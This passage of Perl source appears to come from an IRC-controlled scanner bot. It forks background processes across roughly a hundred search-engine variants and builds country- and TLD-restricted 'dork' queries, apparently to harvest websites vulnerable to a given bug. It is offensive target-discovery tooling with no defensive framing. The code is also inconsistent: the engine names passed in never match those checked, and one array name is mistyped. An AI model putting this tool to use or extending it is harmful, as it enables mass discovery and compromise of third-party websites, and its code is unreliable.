if ($engine =~ /googleAS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleAS"); } exit; } }
if ($engine =~ /googleAI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleAI"); } exit; } }
if ($engine =~ /googleBA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleBA"); } exit; } }
if ($engine =~ /googleCG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleCG"); } exit; } }
if ($engine =~ /googleDM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleDM"); } exit; } }
if ($engine =~ /googleGT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleGT"); } exit; } }
if ($engine =~ /googleFJ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleFJ"); } exit; } }
if ($engine =~ /googleAF/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleAF"); } exit; } }
if ($engine =~ /googleAG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleAG"); } exit; } }
if ($engine =~ /googleAO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleAO"); } exit; } }
if ($engine =~ /googleAZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleAZ"); } exit; } }
if ($engine =~ /googleBD/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleBD"); } exit; } }
if ($engine =~ /googleBF/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleBF"); } exit; } }
if ($engine =~ /googleBH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleBH"); } exit; } }
if ($engine =~ /googleBI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleBI"); } exit; } }
if ($engine =~ /googleBJ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleBJ"); } exit; } }
if ($engine =~ /googleBN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleBN"); } exit; } }
if ($engine =~ /googleBW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleBW"); } exit; } }
if ($engine =~ /googleBZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleBZ"); } exit; } }
if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Bing"); } exit; } }
if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingDE"); } exit; } }
if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingUK"); } exit; } }
if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingCA"); } exit; } }
if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingBR"); } exit; } }
if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingFR"); } exit; } }
if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingES"); } exit; } }
if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingIT"); } exit; } }
if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingBE"); } exit; } }
if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingNL"); } exit; } }
if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingPT"); } exit; } }
if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingNO"); } exit; } }
if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingDK"); } exit; } }
if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingSE"); } exit; } }
if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingCH"); } exit; } }
if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingNZ"); } exit; } }
if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingRU"); } exit; } }
if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingJP"); } exit; } }
if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingCN"); } exit; } }
if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingKR"); } exit; } }
if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingMX"); } exit; } }
if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingAR"); } exit; } }
if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingCL"); } exit; } }
if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BingAU"); } exit; } }
if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"BigLobe"); } exit; } }
if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"WaLLa"); } exit; } }
if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YaHoo"); } exit; } }
if ($engine =~ /yahooCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoCA"); } exit; } }
if ($engine =~ /yahooUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoUK"); } exit; } }
if ($engine =~ /yahooDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoDE"); } exit; } }
if ($engine =~ /yahooFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoFR"); } exit; } }
if ($engine =~ /yahooES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoES"); } exit; } }
if ($engine =~ /yahooIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoIT"); } exit; } }
if ($engine =~ /yahooHK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoHK"); } exit; } }
if ($engine =~ /yahooID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoID"); } exit; } }
if ($engine =~ /yahooIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoIN"); } exit; } }
if ($engine =~ /yahooAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoAU"); } exit; } }
if ($engine =~ /yahooMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoMX"); } exit; } }
if ($engine =~ /yahooTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoTW"); } exit; } }
if ($engine =~ /yahooBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoBR"); } exit; } }
if ($engine =~ /yahooAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoAR"); } exit; } }
if ($engine =~ /yahooNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoNL"); } exit; } }
if ($engine =~ /yahooDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoDK"); } exit; } }
if ($engine =~ /yahooPH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoPH"); } exit; } }
if ($engine =~ /yahooCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoCL"); } exit; } }
if ($engine =~ /yahooRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoRU"); } exit; } }
if ($engine =~ /yahooCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoCH"); } exit; } }
if ($engine =~ /yahooCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoCO"); } exit; } }
if ($engine =~ /yahooFI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoFI"); } exit; } }
if ($engine =~ /yahooRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoRO"); } exit; } }
if ($engine =~ /yahooVE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoVE"); } exit; } }
if ($engine =~ /yahooAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoAT"); } exit; } }
if ($engine =~ /yahooPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoPL"); } exit; } }
if ($engine =~ /yahooKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoKR"); } exit; } }
if ($engine =~ /yahooNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoNZ"); } exit; } }
if ($engine =~ /yahooGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoGR"); } exit; } }
if ($engine =~ /yahooPE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"YahOoPE"); } exit; } }
if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsK"); } exit; } }
if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKCA"); } exit; } }
if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKDE"); } exit; } }
if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKIT"); } exit; } }
if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKFR"); } exit; } }
if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKES"); } exit; } }
if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKRU"); } exit; } }
if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKNL"); } exit; } }
if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKUK"); } exit; } }
if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKBR"); } exit; } }
if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKPL"); } exit; } }
if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKAU"); } exit; } }
if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKAT"); } exit; } }
if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKJP"); } exit; } }
if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKSE"); } exit; } }
if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKMX"); } exit; } }
if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKNO"); } exit; } }
if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AsKDK"); } exit; } }
if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"UoL"); } exit; } }
if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"OnEt"); } exit; } }
if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"CLusTy"); } exit; } }
if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"SaPo"); } exit; } }
if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"AoL"); } exit; } }
if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"LyCos"); } exit; } }
if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"HotBot"); } exit; } }
if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"SeZNam"); } exit; } }
}
sub search_engine() {
my (@total,@clean);
my $chan = $_[0];
my $bug = $_[1];
my $dork = $_[2];
my $engine = $_[3];
my $logo = $_[4];
if ($engine eq "UAE") { my @uae = &silk($dork."+site:ae"); push(@total,@uae); }
if ($engine eq "Myanmar") { my @myanmar = &silk($dork."+site:mm"); push(@total,@myanmar); }
if ($engine eq "Argentina") { my @argentina = &silk($dork."+site:ar"); push(@total,@argentina); }
if ($engine eq "Austria") { my @austria = &silk($dork."+site:at"); push(@total,@austria); }
if ($engine eq "Australia") { my @australia = &silk($dork."+site:au"); push(@total,@australia); }
if ($engine eq "Brazil") { my @brazil = &silk($dork."+site:br"); push(@total,@brazil); }
if ($engine eq "Canada") { my @canada = &silk($dork."+site:ca"); push(@total,@canada); }
if ($engine eq "Chili") { my @chili = &silk($dork."+site:cl"); push(@total,@chili); }
if ($engine eq "Cina") { my @cina = &silk($dork."+site:cn"); push(@total,@cina); }
if ($engine eq "CoMersil") { my @comersil = &silk($dork."+site:com"); push(@total,@comersil); }
if ($engine eq "Czech") { my @czech = &silk($dork."+site:cz"); push(@total,@czech); }
if ($engine eq "Germany") { my @germany = &silk($dork."+site:de"); push(@total,@germany); }
if ($engine eq "Denmark") { my @denmark = &silk($dork."+site:dk"); push(@total,@denmark); }
if ($engine eq "Spain") { my @spain = &silk($dork."+site:es"); push(@total,@spain); }
if ($engine eq "Europe") { my @europe = &silk($dork."+site:eu"); push(@total,@europe); }
if ($engine eq "France") { my @france = &silk($dork."+site:fr"); push(@total,@france); }
if ($engine eq "Hungary") { my @hungary = &silk($dork."+site:hu"); push(@total,@hungary); }
if ($engine eq "Indonesia") { my @indonesia = &silk($dork."+site:id"); push(@total,@indonesia); }
if ($engine eq "Israel") { my @israel = &silk($dork."+site:il"); push(@total,@israel); }
if ($engine eq "India") { my @india = &silk($dork."+site:in"); push(@total,@india); }
if ($engine eq "Info") { my @info = &silk($dork."+site:info"); push(@total,@info); }
if ($engine eq "Iran") { my @iran = &silk($dork."+site:ir"); push(@total,@iran); }
if ($engine eq "Italy") { my @italy = &silk($dork."+site:it"); push(@total,@italy); }
if ($engine eq "Japan") { my @japan = &silk($dork."+site:jp"); push(@total,@japan); }
if ($engine eq "Korea") { my @korea = &silk($dork."+site:kr"); push(@total,@korea); }
if ($engine eq "Mexico") { my @mexico = &silk($dork."+site:mx"); push(@total,@mexico); }
if ($engine eq "Malaysia") { my @malaysia = &silk($dork."+site:my"); push(@total,@malaysia); }
if ($engine eq "Network") { my @network = &silk($dork."+site:net"); push(@total,@network); }
if ($engine eq "Netherlands") { my @netherlands = &silk($dork."+site:nl"); push(@total,@netherlands); }
if ($engine eq "Organization") { my @organization = &silk($dork."+site:org"); push(@total,@organization); }
if ($engine eq "Philippines") { my @philippines = &silk($dork."+site:ph"); push(@total,@philippines); }
if ($engine eq "Poland") { my @poland = &silk($dork."+site:pl"); push(@total,@poland); }
if ($engine eq "Romania") { my @romania = &silk($dork."+site:ro"); push(@total,@romania); }
if ($engine eq "Russian") { my @russian = &silk($dork."+site:ru"); push(@total,@russian); }
if ($engine eq "Thailand") { my @thailand = &silk($dork."+site:th"); push(@total,@thailand); }
if ($engine eq "Ukraine") { my @ukraine = &silk($dork."+site:ua"); push(@total,@ukraine); }
if ($engine eq "England") { my @england = &silk($dork."+site:uk"); push(@total,@england); }
if ($engine eq "USA") { my @usa = &silk($dork."+site:us"); push(@total,@usa); }
if ($engine eq "Slovenia") { my @slovenia = &silk($dork."+site:si"); push(@total,@slovenia); }
if ($engine eq "Belgium") { my @belgium = &silk($dork."+site:be"); push(@total,@belgium); }
if ($engine eq "Bussines") { my @bussines = &silk($dork."+site:biz"); push(@total,@bussines); }
if ($engine eq "SouthAfrica") { my @southafrica = &silk($dork."+site:za"); push(@total,@southafrica); }
if ($engine eq "Vietnam") { my @vietnam = &silk($dork."+site:vn"); push(@total,@vietnam); }
if ($engine eq "Tuvalu") { my @tuvalu = &silk($dork."+site:tv"); push(@total,@tuvalu); }
if ($engine eq "Cocos") { my @cocos = &silk($dork."+site:cc"); push(@total,@cocos); }
if ($engine eq "Turky") { my @turky = &silk($dork."+site:tr"); push(@total,@turky); }
if ($engine eq "Asia") { my @asia = &silk($dork."+site:asia"); push(@total,@asia); }
if ($engine eq "Serbia") { my @serbia = &silk($dork."+site:rs"); push(@total,@serbia); }
if ($engine eq "Singapore") { my @singapore = &silk($dork."+site:sg"); push(@total,@singapore); }
if ($engine eq "Taiwan") { my @taiwan = &silk($dork."+site:tw"); push(@total,@taiwan); }
if ($engine eq "Sweden") { my @sweden = &silk($dork."+site:se"); push(@total,@sweden); }
if ($engine eq "Pakistan") { my @pakistan = &silk($dork."+site:pk"); push(@total,@pakistan); }
if ($engine eq "Norway") { my @normay = &silk($dork."+site:no"); push(@total,@norway); }
if ($engine eq "Montenegro") { my @montenegro = &silk($dork."+site:me"); push(@total,@montenegro); }
if ($engine eq "Greece") { my @greece = &silk($dork."+site:gr"); push(@total,@greece); }
if ($engine eq "Education") { my @education = &silk($dork."+site:edu"); push(@total,@education); }
if ($engine eq "Goverment") { my @goverment = &silk($dork."+site:gov"); push(@total,@goverment); }
if ($engine eq "Kazakhstan") { my @kazakhstan = &silk($dork."+site:kz"); push(@total,@kazakhstan); }
if ($engine eq "Afganistan") { my @afganistan = &silk($dork."+site:af"); push(@total,@afganistan); }
if ($engine eq "Albania") { my @albania = &silk($dork."+site:al"); push(@total,@albania); }
if ($engine eq "Algeria") { my @algeria = &silk($dork."+site:dz"); push(@total,@algeria); }
if ($engine eq "Angola") { my @angola = &silk($dork."+site:ao"); push(@total,@angola); }
if ($engine eq "Armenia") { my @armenia = &silk($dork."+site:am"); push(@total,@armenia); }
if ($engine eq "Azerbaijan") { my @azerbaijan = &silk($dork."+site:az"); push(@total,@azerbaijan); }
if ($engine eq "Bahrain") { my @bahrain = &silk($dork."+site:bh"); push(@total,@bahrain); }
if ($engine eq "Bangladesh") { my @bangladesh = &silk($dork."+site:bd"); push(@total,@bangladesh); }
if ($engine eq "Belarus") { my @belarus = &silk($dork."+site:by"); push(@total,@belarus); }
if ($engine eq "Bhutan") { my @bhutan = &silk($dork."+site:bt"); push(@total,@bhutan); }
if ($engine eq "Bolivia") { my @bolivia = &silk($dork."+site:bo"); push(@total,@bolivia); }
if ($engine eq "Bosnia") { my @bosnia = &silk($dork."+site:ba"); push(@total,@bosnia); }
if ($engine eq "Bulgaria") { my @bulgaria = &silk($dork."+site:bg"); push(@total,@bulgaria); }
if ($engine eq "Brunei") { my @brunei = &silk($dork."+site:bn"); push(@total,@brunei); }
if ($engine eq "Cambodia") { my @cambodia = &silk($dork."+site:kh"); push(@total,@cambodia); }
if ($engine eq "Cameroon") { my @cameroon = &silk($dork."+site:cm"); push(@total,@cameroon); }
if ($engine eq "Christmas") { my @christmas = &silk($dork."+site:cx"); push(@total,@christmas); }
if ($engine eq "CostaRika") { my @costarika = &silk($dork."+site:cr"); push(@total,@costarika); }
if ($engine eq "Croatia") { my @croatia = &silk($dork."+site:hr"); push(@total,@croatia); }
if ($engine eq "Cuba") { my @cuba = &silk($dork."+site:cu"); push(@total,@cuba); }
if ($engine eq "Cyprus") { my @cyprus = &silk($dork."+site:cy"); push(@total,@cyprus); }
if ($engine eq "Dominican") { my @dominican = &silk($dork."+site:dm"); push(@total,@dominican); }
if ($engine eq "Equador") { my @equador = &silk($dork."+site:ec"); push(@total,@equador); }
if ($engine eq "Egypt") { my @egypt = &silk($dork."+site:eg"); push(@total,@egypt); }
if ($engine eq "Estonia") { my @estonia = &silk($dork."+site:ee"); push(@total,@estonia); }
if ($engine eq "Finland") { my @finland = &silk($dork."+site:fi"); push(@total,@finland); }
if ($engine eq "Georgia") { my @georgia = &silk($dork."+site:ge"); push(@total,@georgia); }
if ($engine eq "Ghana") { my @ghana = &silk($dork."+site:gh"); push(@total,@ghana); }
if ($engine eq "Grenada") { my @grenada = &silk($dork."+site:gd"); push(@total,@grenada); }
if ($engine eq "Honduras") { my @honduras = &silk($dork."+site:hn"); push(@total,@honduras); }
if ($engine eq "Hongkong") { my @hongkong = &silk($dork."+site:hk"); push(@total,@hongkong); }
if ($engine eq "Iceland") { my @iceland = &silk($dork."+site:is"); push(@total,@iceland); }
if ($engine eq "Ireland") { my @ireland = &silk($dork."+site:ie"); push(@total,@ireland); }
if ($engine eq "Kenya") { my @kenya = &silk($dork."+site:ke"); push(@total,@kenya); }
if ($engine eq "Kuwait") { my @kuwait = &silk($dork."+site:kw"); push(@total,@kuwait); }
if ($engine eq "Laos") { my @laos = &silk($dork."+site:la"); push(@total,@laos); }
if ($engine eq "Latvia") { my @latvia = &silk($dork."+site:lv"); push(@total,@latvia); }
if ($engine eq "Liberia") { my @liberia = &silk($dork."+site:lr"); push(@total,@liberia); }
if ($engine eq "Libyan") { my @libyan = &silk($dork."+site:ly"); push(@total,@libyan); }
if ($engine eq "Lithuania") { my @lithuania = &silk($dork."+site:lt"); push(@total,@lithuania); }
if ($engine eq "Macedonia") { my @macedonia = &silk($dork."+site:mk"); push(@total,@macedonia); }
if ($engine eq "Malta") { my @malta = &silk($dork."+site:mt"); push(@total,@malta); }
if ($engine eq "Mongolia") { my @mongolia = &silk($dork."+site:mn"); push(@total,@mongolia); }
if ($engine eq "Mozambique") { my @mozambique = &silk($dork."+site:mz"); push(@total,@mozambique); }
if ($engine eq "Namibia") { my @namibia = &silk($dork."+site:na"); push(@total,@namibia); }
if ($engine eq "Nauru") { my @nauru = &silk($dork."+site:nr"); push(@total,@nauru); }
if ($engine eq "Nepal") { my @nepal = &silk($dork."+site:np"); push(@total,@nepal); }
if ($engine eq "NewZealand") { my @newzealand = &silk($dork."+site:nz"); push(@total,@newzealand); }
if ($engine eq "Nigeria") { my @nigeria = &silk($dork."+site:ng"); push(@total,@nigeria); }
if ($engine eq "Paraguay") { my @paraguay = &silk($dork."+site:py"); push(@total,@paraguay); }
if ($engine eq "Peru") { my @peru = &silk($dork."+site:pe"); push(@total,@peru); }
if ($engine eq "Portugal") { my @portugal = &silk($dork."+site:pt"); push(@total,@portugal); }
if ($engine eq "PuertoRico") { my @puertorico = &silk($dork."+site:pr"); push(@total,@puertorico); }
if ($engine eq "Qatar") { my @qatar = &silk($dork."+site:qa"); push(@total,@qatar); }
if ($engine eq "SaintLucia") { my @saintlucia = &silk($dork."+site:lc"); push(@total,@saintlucia); }
if ($engine eq "Samoa") { my @samoa = &silk($dork."+site:ws"); push(@total,@samoa); }
if ($engine eq "SaudiArabia") { my @saudiarabia = &silk($dork."+site:sa"); push(@total,@saudiarabia); }
if ($engine eq "Senegal") { my @senegal = &silk($dork."+site:sn"); push(@total,@senegal); }
if ($engine eq "Slovakia") { my @slovakia = &silk($dork."+site:sk"); push(@total,@slovakia); }
if ($engine eq "Srilanka") { my @srilanka = &silk($dork."+site:lk"); push(@total,@srilanka); }
if ($engine eq "Swaziland") { my @swaziland = &silk($dork."+site:sz"); push(@total,@swaziland); }
if ($engine eq "Tajikistan") { my @tajikistan = &silk($dork."+site:tj"); push(@total,@tajikistan); }
if ($engine eq "Tanzania") { my @tanzania = &silk($dork."+site:tz"); push(@total,@tanzania); }
if ($engine eq "Tokelau") { my @tokelau = &silk($dork."+site:tk"); push(@total,@tokelau); }
if ($engine eq "Tonga") { my @tonga = &silk($dork."+site:to"); push(@total,@tonga); }
if ($engine eq "Tunisia") { my @tunisia = &silk($dork."+site:tn"); push(@total,@tunisia); }
if ($engine eq "Uruguay") { my @uruguay = &silk($dork."+site:uy"); push(@total,@uruguay); }
if ($engine eq "Uzbekistan") { my @uzbekistan = &silk($dork."+site:uz"); push(@total,@uzbekistan); }
if ($engine eq "Venezuela") { my @venezuela = &silk($dork."+site:ve"); push(@total,@venezuela); }
if ($engine eq "Yemen") { my @yemen = &silk($dork."+site:ye"); push(@total,@yemen); }
if ($engine eq "Yugoslavia") { my @yugoslavia = &silk($dork."+site:yu"); push(@total,@yugoslavia); }
if ($engine eq "Zambia") { my @zambia = &silk($dork."+site:zm"); push(@total,@zambia); }
if ($engine eq "Uganda") { my @uganda = &silk($dork."+site:ug"); push(@total,@uganda); }
if ($engine eq "Trinidad") { my @trinidad = &silk($dork."+site:tt"); push(@total,@trinidad); }
if ($engine eq "Zimbabwe") { my @zimbabwe = &silk($dork."+site:zw"); push(@total,@zimbabwe); }
